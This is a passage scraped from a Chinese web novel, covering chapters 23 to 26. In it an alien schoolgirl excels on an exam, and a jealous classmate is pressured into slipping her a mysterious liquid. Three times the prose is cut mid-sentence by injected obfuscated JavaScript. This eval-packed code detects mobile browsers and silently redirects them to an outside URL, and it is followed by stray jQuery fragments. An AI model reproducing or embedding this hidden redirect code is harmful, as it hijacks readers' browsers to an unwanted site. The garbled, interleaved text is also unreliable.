白澜亦把书合上,丢在手边,目光冷冷:“你放着我这个天才哥哥不请教,选他当家教就是为了做慈善?你在他身上花了多少钱?”
白草莓听着他语气不太对劲,不自觉吞了口口水,报了一串数字出来。
白澜亦眉心一蹙,看了眼目光清澈无害的白草莓,最终把脾气撒在陈序身上,低骂道:“好啊,他属狮子的,报价这么贵?”
白草莓难得看他生气,不知道怎么办,只好学着苦情剧的桥段,扑上来抱住他的腿,假模假样地抹眼泪。
“蓝莓,你别找他的麻烦。实在是他奶奶病了,他要替奶奶研究特效药,开销很大,我是自愿的。”
白澜亦越听头越大,不清楚外星人是不是也有躁动的青春期,他深刻反思身为哥哥缺失对白草莓的情感教育。
“白草莓,你看着我,发誓。”
白草莓坐在他脚边,依言抬头望向白澜亦,眨了眨眼,问:“怎么发誓?”
“这么发。”
白澜亦替她摆好了手势,神情认真,一字一句:“你发誓,你跟陈序之间只是普通同学,没有任何男女之情。”
白草莓不懂就问:“蓝莓,‘男女之情’是什么?”
白澜亦被这问题一噎,换了个说法:“除了友情,没有别的情。”
“还能有别的情?”白草莓放下手想翻翻书本找一下,却被白澜亦捏住手腕。
他沉着脸,义正辞严地警告:“不能有别的情。”
白草莓乖乖点头,“好的,没问题。”
说完,白澜亦从皮夹里掏了张卡出来递给白草莓:“留着你自己花,小心黄毛把你的钱全都骗光。”
此处黄毛,单指陈序。
白草莓听了个半懂,接过卡片点头:“这是什么卡?”
“我的副卡。”
白澜亦不算自夸,他每年收到的版权费足够挥霍,哪怕分了大半投入在C市的实验室,剩下的依旧能覆盖他和白草莓的学费和生活。
说完,白澜亦翻开书本给白草莓补习:“能带着你们国际部一起考的月考,难度都不会很高。”
白草莓摇摇头:“但如果我考的太差,他们不会笑话我,会笑话白澜亦的妹妹,笑话白澜亦。”
白澜亦停下翻书的手,看向白草莓的目光深深,似乎藏着千言万语。
要是换在从前,他会在意白草莓的存在败坏了自己的形象,可是现在他无所谓了,因为白草莓会叫他哥哥,会在夜里给他留一盏灯。
轻叹一声后,他开玩笑地说:“我们白家没有笨蛋。那你出去自我介绍别说你姓白,你就说自己其实姓黑,你叫‘黑草莓’。”
“黑草莓”嘿嘿一笑,反驳道:“我要是笨蛋,那你就是聪明蛋。我们都是蛋,谁也别笑谁。”
两个人你怼一句我怼一句,气氛倒也融洽。
*
白草莓本来是很期待月考的,但是真到了上考场这天还是有点紧张,抱着笔记本蹲在走廊上,紧张得不停搓手。
“怕什么啊。”许缨按住她的手,往里面塞了杯热牛奶:“小小月考把你吓成这样?”
白草莓把牛奶放在护栏边上,摇摇头:“不是害怕啊,就是觉得紧张,心跳得飞快,快要从胸口里跳出来了。”
许缨搓搓白草莓的肩膀,帮她放松下来:“没关系,你就算进去趴下睡一觉都不会有人说你的。”
“是,没错,哪怕交了白卷上去也不会有老师约谈家长批评,你们就继续这么沉沦下去吧。”
边上传来一道阴阳怪气的附和,杨筝的神情非常不好,眼睛直勾勾地盯过来。
许缨想让她别多管闲事,却被白草莓拉住,她凑近了小声说:“许缨,你别跟她吵架,我闻到一股很怪的味道。”
这种味道传递出一种令人不安的、极度挣扎的感觉,让白草莓觉得靠近了就会很不幸,像看不见底的深海。
许缨冷静下来,看着杨筝,总觉得她最近有种日子过到头了,打算破罐子破摔的疯感。
这时考试的准备铃声忽然响起。
许缨往栏杆上一靠,给杨筝让路:“进去考试吧,咱们班能进年级前二十的人可不少。”
白草莓和许缨或许没杨筝成绩好,但杨筝前面也是人外有人,她比不过那些人,也就只能从国际部里挑点成绩不怎么好的批评了。
白草莓始终没跟杨筝接触过,不清楚为什么会有她这样的人类,平常看着也没问题,偶尔就是会上来指点你的选择和人生。
月考紧赶慢赶一共考了两天半,只高一一个年级考试人不算多,所以成绩在考完第二天就出来了。
排名表非常人性化的没有公布,但是个人总成绩和各科的分数会发在本人手中。
白草莓拿到成绩表的时候还不会看,许缨那边已经兴奋过一遭了:“数学合格,物理合格,老天,我回去能跟我老爹交差了。草莓,你考的怎么样?”
白草莓把成绩表交给许缨,“我也不知道怎么样。”
“没事,我帮你看看。”许缨笑着接过,但看清楚那张表,笑容忽然凝滞,随后揉了揉眼睛,再次确认了表上的姓名。
她拉过白草莓,压低了头极小声的问:“问你一件非常严肃的事情。”
“你说。”
许缨点头,眼神认真:“你给陈序那么多的补课费,没有用来买违禁药品吧?就是能一夜之间让人新长一个脑袋的药。”
白草莓大吃一惊:“还有这种药?”
“没有这种药!”许缨欣喜若狂:“白草莓你是个天才,按我的经验,你这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037285|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次的总分可以直接排进年级前十!吊打那些本部的人!”
白草莓自己也很吃惊,她的学习能力确实很不错,但是考试的时候她紧张得不得了,没想到会有这么好的成绩。
一时间,周围的同学围过来,好奇白草莓究竟得了怎样的高分。
高一的考试不分科,全科总分1200,白草莓能考1000,除去语文绝大多数人不能拿到满分,九门科只丢200分也是普通人无法匹敌的存在了,谁能在费力背下文科知识点的同时还能把物理大题也给算出来啊。
何况白草莓几个月前还听不懂人话,上去徒手拆黑板,现在就进步到这种程度,简直不是人。
听着这边的喧闹,杨筝握紧了拳头,目光落在成绩单上,炽热得快要将它盯出两个洞来。
明明是她整天整天背书,是她整夜整夜学习,是她努力到快要不能呼吸,凭什么白草莓后来者居上?!
原本杨筝还能去找陈序请教问题,虽然他的解题思路需要她花很长时间琢磨,但后来陈序成了白草莓的私教,她连这点进步都不能有了……
白草莓家世好,不愁钱花,钞票丢进水里也不心疼,拆黑板、爬高楼、在水里抓天鹅都没人管,病假一请就是半个月,玩个够;哥哥也牛,长得帅脑子又够用,年纪轻轻就一手专利,什么本部国际部,通通看不起。
凭什么!凭什么!
凭什么她生来就拥有这样的生活,凭什么她想做什么都能轻而易举,凭什么自己生来就是酗酒的爹、破碎的妈和稀烂的家,凭什么她拼了命才挤进来一私,只能当人家的陪衬!!
杨筝越想越不公平,越想越眼红,深呼吸着,攥紧了成绩单,一条一条撕碎了,揉成团,塞进嘴里强迫自己咽下去。
她打开手机,找到曾经被自己拒绝掉的消息,输入新一行。
“我反悔了,之前的条件还有效吗?”
对面过了很久才读过消息,回:“有效,但多了一条附加条件,考虑好了就再不能反悔了。”
杨筝毫不犹豫地输入:“我不会反悔。”
对面回复:“好,时间地点等会发送给你,线下再说。”
杨筝得到对方的肯定答复,收了手机,说服自己冷静下来,她要证明自己其实也不差。
环视一周后,杨筝跟身边另一个本部的学霸打招呼:“梦云,你的成绩单能给我看看吗?我感觉这次的数学稍微有点难。”
丁梦云犹豫了一下,本来想拒绝,但是看杨筝的眼神很坚决,好像不给就会惹她生气,只好把成绩单递了过去。
杨筝扫了一眼,将成绩单递了回去,趴在桌子上心里郁闷到了顶点。
谁都比不过,她谁都比不过……
杨筝扭头看了眼白草莓,她正和许缨头挨头对着手机讨论着什么,一点也不像考了高分的欣喜若狂。
无所谓了,她不用跟这些人比,争来争去有什么意思,有了那个人的承诺,她接下来的生活一定会一马平川的。
“12月25日圣诞节有一场,到时候咱们一起去看,要是那天不放假的话,咱们就请假去。”许缨说干就干,订下自己的票,转头问白草莓的身份证号。
白草莓报了自己的身份证号,总觉得一个人出去看演唱会不太好:“要不,我把蓝莓也带上?”
“没问题啊,多一个男生更安全。”许缨又订了一张票,忽然想:“但三个人出去总有一个人落单,你们俩是兄妹,我跟白澜亦又不熟,落单的肯定是我,还再叫一个。”
白草莓想了想:“要不我问问陈序?”
24. 24
“车费门票全包,食宿也不用我花钱,就当成免费三日游了,不是挺好的?我当然举双手双脚同意啊,以后再有这种活动记得第一个叫我啊。”
陈序今天特地守在白草莓教室外,跟她和许缨了解细节,确认“档期”。
看着许缨定好了他的票,陈序也收到了陪玩的定金,点了收款,随口奉承一句:“能为两位大小姐服务实在是我的荣幸。”
“可以打住了,怎么这话从你嘴里说出来就阴阳怪气的?”许缨浑身一激灵,抬手看了眼时间,一惊,连忙跟两人挥手再见:“我的补习班也要开始了,先走了。”
许缨拎起一旁的书包哒哒哒往楼下跑。
陈序看着她跑走,哼哼轻笑,斜靠在栏杆上,头发飞舞,神情悠闲,有种任君差遣的潇洒,背好自己的包,顺手拿过白草莓的甩在肩膀上:“走吧,白大小姐,咱们也该补习了。”
或许是陈序经常这么称呼白草莓,反正白草莓没听出这话有什么令人毛骨悚然的。
陈序走在前面:“跟我说说,月考成绩怎么样?”
“考得应该算不错吧。”
白草莓两腿飞快倒腾才勉强跟上,陈序瞥见,步子有意迈短放缓,两人并肩走着。
“‘应该算不错’是怎么算的?我看看成绩单……哇,不错嘛,但是离跟我比还是有些距离。”
……
杨筝从教室里走出来,一双眼睛望着白草莓跟在陈序身边渐行渐远,内心缓缓沉下去。
攥在手心里的手机震动两声,她接到一条新消息。
“一私校外后门,有辆黑色宾利。现在过来。”
杨筝看完消息,咬了下嘴唇,没急着下楼赴约,先打开浏览器搜索了一下宾利车标长什么样子。
那些低至两百万,高不封顶的车价给了杨筝一点小小的震撼,她吐了口气,平复心情,好歹确认了联络她的人确实拥有履行承诺的实力。
杨筝等学校里的人散的差不多了,才慢吞吞下楼,后门外路边几乎没有车了,她按刚才记下的车标找到了那辆宾利。
没等杨筝敲车窗,后排的车门就自动打开让杨筝坐了进去。
车里除了司机没有别人,后排座椅上放着一个包裹严实的小方盒子,还有一部亮着屏幕的正在通话中的手机。
手机里传来男人的吩咐:“盒子里的东西,找机会让白草莓喝下去。”
男人的声音成熟嘶哑,带着上位者的压迫感,一听就是个不好惹的狠角色,杨筝听着忽然有些心虚,虽然拿过了方盒子,但还是鼓起勇气发问。
“这里面的东西不会有毒吧?”
杨筝越想越紧张:“我们最开始说好了,我的任务只是把白草莓的日常传达给你,我没想过要害人的。”
电话那头的人安静听完,冷笑一声,提示道:“我记得你答应了附加条件,难道你要反悔?拿我当猴耍,你不会想知道后果的,我一个电话就能让你退学、前功尽弃信不信?”
他的声音犹如毒蛇吐着信子,缠绕在杨筝耳边,尾音落下,狠狠收紧,箍住她的心脏。
杨筝捧着那小黑盒子,只觉得误入泥潭,要么沉沦要么死,她抬眼偷看前面的司机,默默将手放在了门把手上,找准机会想离开。
谁知道车门在她上车的时候就已经上了锁,无论怎么推都是白费力气。
“冷静点。”
那人终于又出了声:“这东西没毒,人吃了不会死。”
但白草莓不是人,小剂量不会死,大剂量不清楚,可这种事谁会明说呢?
严高贤神色阴冷,要不是他手底下那群人瞻前顾后、磨磨蹭蹭,一个剂量实验而已,拖了这么长时间都没有结论,他的耐心被耗尽了,等不及要看到结果。
杨筝胸口心跳有如擂鼓,咚咚咚不停响着,又听见电话里面说:“你现在做的一切都是合规的,就算出了乱子,也有观测中心替你摆平。”
得了这几句承诺,杨筝这才长舒一口气,说服自己放下心来:“我知道了,我会尽力做的。还有,你们观测中心,为什么要拿白草莓做实验对象?”
严高贤嘴角扯了扯,耐心快被耗尽:“因为……”
“她运气好。”
1223星球上的运输飞船那么多,那些人偏偏挑中了她的动手脚,而她偏偏在亿万颗行星中挑中了地球降落,这不是运气好是什么?
他的话模棱两可,杨筝听得云里雾里,但听清楚了那几个字“运气好”,她握紧方盒子咬紧牙关。
看吧,不止她一个人这么认为,白草莓实在是撞大运了才能有这么顺遂的人生,她不服,她要看看人为能不能胜过虚浮的命数。
杨筝捧着盒子推开车门,重新踩在地面上的时候,她深吸一口气,再吐出来时,恍若新生。
坐在咖啡店里的白草莓趴在桌子上,突然揉揉鼻子,捂住嘴巴打了个喷嚏。
陈序被迫暂停讲题思路,等了半天没有第二声,调侃道:“只打了一声吗?看来是有人想你了。”
“还有这样的说法啊?”白草莓倒是很高兴,托着腮掰起指头挨个数:“那一定是许缨在想我,不对不对,也有可能是蓝莓,也可能是奶奶在想我。”
忽然,她起身往柜台走,敲了敲台面,踮起脚往底下看,问老板:“老板你刚刚有想我吗?”
惹得老板哈哈大笑,配合地回应她:“想你,可想你了,我的老主顾。”
陈序提着她的衣领,揪她回座位坐着:“你还挺自信的,能担保这么多人都想你?”
“那当然。”她骄傲的神情一点也不假,陈序有时候倒想让她把那股自信的劲儿分一半给他。
“行,算你厉害,这道题你还学不学了?”
白草莓一下子正襟危坐,扬起一个乖巧标准的笑:“学,当然学。”
“好,那就认真听。”
*
杨筝拆开方盒子,里面是一瓶透明的液体,无色无味,她在脑海里检索,似乎确实没有附和特征的剧毒物,那个人大概率没骗她。
杨筝虽然确认了液体的无毒性,但这些天一直没有找到机会下手,只默默在学习之余记录白草莓的生活。
傻笑,学习,傻笑,学习,傻笑……
杨筝自己都要写麻木了,这糟糕的世界哪有那么多值得开心的事情,让她整天都在笑。
“叩叩——”
白草莓身边的窗户又被敲响,只是这次的来人不是陈序,而是陈序的同班同
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039455|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学。
“白同学,你是不是知道陈序的家在什么地方?”
白草莓心里疑惑问这个干什么,陈序可不喜欢别人到他家里去,他说有些人就知道在外面说三道四的,影响心情。
“我知道,但我不能告诉你。”白草莓点头,认真地说。
对方笑了笑,提起一袋子书来:“你知道就好。”
“这些是陈序拜托我们班主任收集的几本书,但是他家里好像出了点事,没办法来,劳烦你帮忙把这些送过去,好不好?”
“好。”白草莓接过书,懵懵地问:“但是陈序家出什么事了?”
“我怎么知道啊,他从来不说这些事情的。”对方挠了挠头:“诶呀,你要是想知道就问他吧,劳烦你了,我还得回去上课呢。”
“哦,好。”
白草莓魂不守舍地坐下来,掏出手机给陈序打了个电话,没人接,转而给他发消息,半天也没人回复。
陈序那么健□□龙活虎的肯定没什么大问题,一定是奶奶出事了。
但白草莓上次才用精神力帮奶奶修复了细胞,不太可能这么快就再次复发,难道是自己不清楚人类生理构造,反而让奶奶的病症加重了吧?
可是陈序迟迟不回复白草莓,她也只能在这里瞎想。
许缨枕着胳膊跟她面对面,不清楚白草莓内心的纠葛,说道:“那明天的竞赛陈序是不是不能参加了?”
对了,陈序参加竞赛就是为了拿到志愿者名额去见免疫细胞方面的专家,他要是失去这次机会该多可惜啊。
他是要救奶奶啊。
这时陈序终于回了电话,语气里满是疲惫:“大小姐,找我什么事?”
白草莓问:“奶奶出什么事了?”
陈序叹了口气,捏了捏眉心,有些懊恼:“说是要去菜市场买点苹果,下楼的时候在楼梯上滑了一跤。”
说着,陈序语气里的无奈快要溢出来了:“现在的状况是小腿大概率骨折,其他地方还在检查,我在等片子,奶奶年纪大了,还有基础病和老年病,医生用药都得小心翼翼……”
白草莓听他絮絮叨叨,声音越来越低,又问:“那明天的竞赛呢,你来不了了是吗?”
陈序自嘲地笑笑:“都什么时候,我哪儿顾得上竞赛啊。”
他也清楚这次竞赛的重要性,出声安慰白草莓,但更像是安慰自己:“这次没见上,还有下次机会呢,我等得起,奶奶肯定也……”
“你不用等。”白草莓斩钉截铁地说,“陈序,我去考,我去见,我去学,你的疑惑,我帮你解答。”
陈序心中似乎有一口大钟被敲响,回声“铛——”一声从心口震出来,浑身都酥了。
他失力地后退两步,靠在医院冰凉的瓷砖上,手心却发烫,原来人在分身乏术的时候,有个依靠是这种感受。
“谢谢你,白草莓。”陈序仰头,畅然舒了口气,“那我和奶奶等你的好消息。”
白草莓坚毅点头:“你放心,我一定替你拿到志愿者名额。”
杨筝转着手里的玻璃瓶,把她的话全都听了进去,真是感人至深的友谊啊,志愿者也是说当就当的?她上次月考是失误而已,这些人未免太不把她放在眼里了。
25. 25
下午的时候有节活动课,内容很简单,就是把图书馆阳光房里培育出来的花草移植到学校的实验田里。
移栽的数目没有要求,不少人只是意思一下,挪了两三棵就拍拍手,找个干净的地方坐着聊天去了。
白草莓戴着一双手套,一手捧着花草根土,一手卖力在地里锄出一个小坑,严格按照手册里的步骤,消毒、填土、压实然后浇水。
许缨拎来新一筐花草放在她身边,头上戴了两顶草帽,摘下来一顶扣在白草莓头上。
她叉起腰看了看,白草莓已经以一己之力填满两块方田了,比他们班其他人加起来的总数都要多。
许缨心里觉得白草莓的癖好有点怪,竟然喜欢种地,手上还是接过她的锄头,跟她合作:“我来帮你挖坑,你负责种花填土,咱们俩流水线作业。”
“好。”白草莓头也不抬,对种花草这件事异常认真。
杨筝移完几株,拍照上传综合测试系统,大功告成准备离开,偶然发现角落里默契忙碌的两个人,抱起胳膊靠在一边看了会热闹。
一个在前面抡着锄头,两下刨出个土坑来,一个在后面飞快完成消杀流程、压实浇水,一气呵成。没想到她们俩是真心在移花,杨筝也有点惊讶。
“移三盆就能上传综测系统拿到分数了,你们俩这是想承包整个实验田?给工资吗?”
杨筝摘下帽子扇风,从边上水筐里拿了两瓶递给白草莓和许缨。
许缨奇怪地看她一眼,不知道杨筝今天又抽什么风,突然变得这么好说话了,接过矿泉水放在一边,假笑两声:“真是劳驾您了。”
杨筝忽略她的阴阳怪气,往旁边走了两步,站在白草莓正前方,把水递给她。
有杨筝挡在前面,这杯水要是白草莓不接,或许没办法继续往前。
白草莓只好伸手接过,然后闷头扎进土地里,说了句:“谢谢你。”
杨筝站起身,拍拍手上的土,问道:“有什么需要我帮忙的吗?”
什么?
杨筝主动来帮她的忙?白草莓就是再迟钝也想起来摇头了。
虽然白草莓闻到的杨筝现在情绪稳定,不存在任何威胁,但跟这样喜怒无常的人打交道,保不齐什么时候碰到她的雷区就炸了。
算了算了,避而远之。
杨筝耸耸肩,没把她们俩的态度放在心上,慢吞吞踱步走了。
许缨跟白草莓默契对视,“真奇怪啊。”
杨筝今天怪得离谱,怪得许缨都要进行恶毒的阴谋论,怀疑杨筝给她俩的水里下了毒。
好在许缨拿过矿泉水环视一圈,瓶口没有启封过,瓶身没有漏气的迹象,确认安全才放心,拧开递给白草莓。
“太谢谢你了许缨。”白草莓笑着往许缨身边贴了贴。
许缨拿过另一瓶,拧开灌了一口,不由得感叹白草莓精力是真旺盛,她歇下来才觉得自己要累死了。
许缨砸了咂嘴,忽然伸出一只手抓住白草莓的手臂,另一只手指着水瓶,眼睛瞪得老大,声音颤抖,好像正经历巨大的痛苦:“这水……这水……”
白草莓吓得把手里的东西都丢到一边去,双手把许缨提起来就要往校医院跑。
许缨被她捏住软骨,痒得忍不住挣扎,随后破功发笑,大声说:“水好甜,太解渴啦!行了行了,我没事,你快放我下来。”
白草莓放下许缨将她浑身上下检查一遍,看她嘴唇红润,笑声浑厚,终于确定自己是被骗了。
“许缨!你吓我!”白草莓假装生气地抱起胳膊,许缨站在她身边笑得前仰后合:“天呐,草莓你的反应太有意思了。”
“有这天赋,你真该去当个演员,我刚刚完全信了。”
“真的吗,那你说我多久能当上女主角?”
许缨蹲在白草莓旁边,两人一边种草一边聊天,完全把杨筝的插曲抛到脑后。
白澜亦提着试剂箱跟一队竞赛生一块坐着摆渡车往实验室去,路上经过这块实验田。
白草莓一眼就看见了白澜亦,跳起来跟他招手。
白草莓头上顶着草帽,手上带着手套,提着锄头拿着花,哪怕待在保温棚里忙得满头大汗,她也笑得阳光又灿烂。
白澜亦实在是佩服她的活力,摆了摆手算作是打招呼了。
可这一招手叫他周围的同学纷纷八卦起来,因为最开始白澜亦给白草莓下的禁令,不许在学校宣扬白澜亦是她哥,所以有些人还不清楚他们俩的关系。
招完手后,这些人尤其震惊平常在他们面前不苟言笑、能说半句话绝不多说一句、对谁都一视同仁的白大神竟然也会有跟人打招呼的时候。
等等,他的嘴角似乎还带着笑?
尽管好奇心快要膨胀到溢出来,但他们谁也不敢跟白澜亦搭话,只好私底下互相问。
“那个欢乐草帽妹是谁啊,国际部什么时候有这么厉害的角色,能得咱们白大神青眼?”
“啧啧,这你就不知道了吧,再冷漠的人有了妹妹都会变妹控。”
这答案震惊得人声音都变得九曲十八弯:“妹控?!”
打量的眼神投过来,被白澜亦毫不留情地瞪回去,什么乱七八糟的。
这一眼让周围人连忙转移话题:“白大神,咱们高二科研会志愿者的名单公布了,您佬有没有空?要是没空参加的话,不如看看我,让给我?”
众所周知白澜亦特别忙,经常在A市和C市来回飞,而且他有自己的研究要筹备,大家能在学校看见他多半是来不及去C市,来这里蹭蹭高精度实验室。
这么一个大忙人,不去当志愿者也很合理,有服务别人的功夫,白澜亦不如把自己干上专家席。
一时间所有嗷嗷待哺的目光落在白澜亦身上,他淡定自若地屏蔽掉所有视线:“我有空。”
研讨会会程其中一个地方就在航天局,不管是为了后期的自己还是帮白草莓打探飞船的消息,这都是绝佳的机会,他不会拱手让人。
这个回应一出,有些人的幻想彻底破碎,垂下头自己伤感去了,默默自我疗愈,没关系多赢一场竞赛金牌也是一样的效果。
*
放学前最后一节课是班主任杜老师的,留了十分钟简单预告了明天名额竞赛,最后时刻忽然灭了灯。
窗外橙黄的晚霞照进屋子里洒在人身上,丁达尔效应下,穿过树叶透进来的每一条光都有了形状。
白草莓转头往在看,呼吸一滞,天气晴朗、万里无云,这漫天都是阳光的天空让她想起了遥远的家乡。
“祝你生日快乐,祝你生日快乐……”
几个班干部唱着歌推着餐车走进来,餐车放了一块大蛋糕,蛋糕上面插着十八根蜡烛,烛光照亮每个人的笑脸,众人齐齐跟唱生日歌。
白草莓混在里面滥竽充数,不会唱歌词就跟着节拍鼓掌。
蛋糕最后停在丁梦云跟前,班主任替她戴上生日王冠,丁梦云激动地热泪盈眶,没想到会收到这么惊喜的祝福。
“祝你生日快乐……”
丁梦云小时候身体不好,休过两年
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046412|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学,自此以后上起学来比周围人年纪都大,她为此还自卑过好长一段时间,变得沉默寡言,可哪怕她没说,想不到还是有人记挂着她的生日。
“许个愿吹蜡烛吧,这蛋糕可是我们亲手在烹饪教室里做的。”杜老师拍了拍丁梦云的肩膀,无声安慰着。
“谢谢谢谢,真的很感谢大家。”丁梦云双手合十,静默片刻后,睁眼吹灭了蜡烛。
“来来来,让寿星给大家分蛋糕。这里还有苏打水,别忘了,一人一杯。”
白草莓撑着脑袋看人类过生日,她不记得自己什么时候被分化出来,也不记得什么时候扎根生长,她记不清自己的年龄,更别提生日了。
“真好。”
许缨凑过来,问她:“你刚说什么?”
白草莓双手拢圆了,罩住许缨的耳朵:“我说,当人类真好。”
许缨轻笑,捏了捏她的脸颊:“你的脑袋里整天都在想什么?除了人类,你还当过其他物种?”
白草莓撇了撇嘴,认真回答:“要是你之前问我,我会说想当一株植物,现在嘛,不一定了。”
这时丁梦云端着切好的蛋糕送来两人跟前,一方祝贺生日快乐,一方愉快道谢。
这场小小的生日会结束,大家又重新回到现实生活,教室里的人很快就散了。
喧哗过后,只剩一片宁静。
白草莓把她和许缨的座椅拼在一起,摊开双臂仰躺在上面,白澜亦今天在学校做实验,她打算等他结束一起回家。
这个角度正好可以透过玻璃窗看天上的星星,她曾经申请过天文课,亲自通过那个长筒观察宇宙,找了好多圈都没有碰见她熟悉的星球,十分可惜。
1223,遥远得像一个梦。
“咔哒。”
她头顶上的灯被最后离开的人顺手关上,屋里更安静了。
白草莓突发奇想,坐起来,从讲台上找了几根没燃多少的蜡烛插进自己分到的一小块蛋糕上。
还缺点什么。
白草莓打了个响指,一团萤白的光聚在蜡尖上,吹一口气,这些光在幽暗的环境里真像是火光。
她的桌面上多了瓶苏打水,仔细想想似乎是寿星后来补送过来的。
白草莓拧开喝了一口,凉凉的,但舌头像是被藏在水里的气泡打了一顿,有点怪,再尝尝。
喝着喝着,白草莓觉得自己的脸有些发烫,跟计算机高速运转一样烫,伸出的一根手指重影成了两根,胸口也像是吞了块大石头进去,梗得她扶着墙干呕,却什么都呕不出来。
白草莓意识模糊,觉得自己轻飘飘的,身体像充不满的气球,涨大涨大再涨大,涨到她比教学楼还高,然后——
嘭!
耳膜极轻微的“呼”了一声,随即手中的A4纸全都被卷上天,不少人没站稳,发梢纷飞过后一屁股坐在了地上。
原本干净有序的实验室一下子像强风过境,被卷得乱七八糟。
“诶,奇了怪了,门窗都在关着,哪里来的风啊?”
窸窸窣窣的聊天声响起来,白澜亦理好自己手里的数据,顺势往窗外看了一眼。
原本快掉秃的树枝上,竟然出现了绿芽。
白澜亦盯着绿芽自我怀疑了半天,顺着树枝的空隙抬头看,正好能看见白草莓所在的教学楼。
他心里一惊,身子比脑子反应快,夺门而出。
“诶,白大神,你要是走了实验怎么办呐?”
白澜亦现在什么念头都没有,只想着不是白草莓出事了。
26. 26
人潮散去后的教学楼就像是被按下静音键的播放器,安静得只有楼道里的皮特托先生背着电流逃走的声音。
白澜亦一手握着手机,未被接通的电话持续响着,铃声隐隐约约从楼上传来。
他把着扶手三步迈上半层楼,好不容易来到白草莓的楼层,气喘吁吁从拐角出来,就看见教室门口倒了个人。
白澜亦心里一跳,顾不上喘气,膝盖重重磕在地上,把人捞起来,言不由衷地抱怨:“白草莓,你知不知道自己很不让人省心……”
但定睛一看,他拉起来的女生是长头发,这不是白草莓。这个时间点教学楼里除了白草莓还有其他人?
白澜亦拍了拍她,没把人叫醒,只好先把她放在一边,顺着手机铃声找进教室里。
手机屏光照亮一寸角落,白草莓席地而坐,双手搭在椅面上,静静趴着似乎睡着了,这一幕好似旧日重现。屏光熄灭后,白草莓周身有一层白光萦绕,像是月光照进来,更像是她自己发出来的。
白澜亦放轻了呼吸,怕把白草莓吹散,捏住她衣角拽了拽,试探地叫了声:“草莓……”
白草莓有了回应,缓缓直起身子,有气无力地靠进白澜亦怀里,嘴唇张了张,好像要交代些什么。
她费力地抬起一根指头:“蓝莓,你是……”
白澜亦听不清也不想听她什么,把她的手按回去,脱下外套裹在白草莓身上,拽住两个小臂背起她安慰:“别担心,你不会有事的。”
白草莓失神喃喃,嘴巴靠进白澜亦的耳朵,继续交代:“草莓,我是一颗草莓。”
这一句,白澜亦听得一清二楚,那由此可推,上面那句蓝莓后面也是一样的废话。
白澜亦松了口气,还以为白草莓真到了性命攸关的时候,但同时白草莓的不清醒也让他头疼极了,闭眼冷静两秒钟。
随后,他从白草莓的书包里翻出一瓶针对药,插好吸管往后递到她嘴边:“拿好,喝下去,我带你回家。”
背着白草莓离开教室的时候,白澜亦被门口的“拦路虎”吓了一跳才想起来刚才认错的人,好心替她打了个120,没更多功夫就在这里等结果了。
幸好刘叔就在校门外面等着。
“对,是有一阵风刮过,很快,其余没什么特别的感觉。好,我知道了。嗯,有人过来了,先这样。”
刘管家挂断电话,等白澜亦走到近处才认出来是他,背后是被校服裹住的一坨,哪怕头发把脸颊全部遮住也能认出来是白草莓。
“小姐这是怎么了啊?”刘叔连忙下车,帮白澜亦拉开车门,安置白草莓。
一只泛着白光的手垂下来,几乎是瞬间又被白澜亦拿校服罩了起来:“没事,她突然有点发烧,先送我们回家再说。”
“刘叔?”
刘管家恍然回神,往自己脸侧拍了两下醒神,坐回驾驶位,一边系安全带,一边问:“好,需要我联系家庭医生吗?”
“不需要。”
白澜亦伸手扳过白草莓的头靠在自己肩上,另一只手升起前排和后座之间的隔音板,确认周围没人看得见才稍稍放心。
“白草莓,你这次是怎么回事?”
她上次出现这种情况是为了应对突发的侵害,把身体里的能量都用光了,可这次是在学校里,整栋楼里只有学生,没有危机,总不会是想不开把能量散着玩?
白草莓闭着眼睛,尽管喝了针对药,但并没有好转,她还是难受,甚至比以前更难受了:“我不知道,胸口好闷,我要化掉了……”
不知道是预感成真还是一语成谶,白澜亦只觉得肩头的重量越来越轻,白草莓身上的白光越来越亮,几乎要变成移动电灯泡。
白澜亦重新把她遮好,衣服里透光的地方也拿手盖住,为了维护白草莓的秘密简直无所不用其极。
每一秒钟的变化都被白澜亦刻在心里,如果这是他的研究课题就好了,这么多新奇数据一定能震惊学界。
下车的时候刘管家要帮忙,白澜亦连忙拒绝,让刘管家去取药箱,他趁机抱着白草莓回了房间。
校服摘下来那一刻,光芒甚至模糊了白草莓的长相,白澜亦一边震惊一边庆幸自己的决定,连忙在浴缸里放了一池水把白草莓丢进去。
身体被水流包裹,温度不再上升,亮度却增高,刺眼的光让人不敢直视。
白澜亦不得不离开浴室,坐在沙发上等这波刺眼的光退散。
两个小时了,白澜亦抬起手看了眼时间,在房间里踱步绕了两圈,来到浴室外敲了敲门:“白草莓,你还有意识吗?”
门里没有回应。
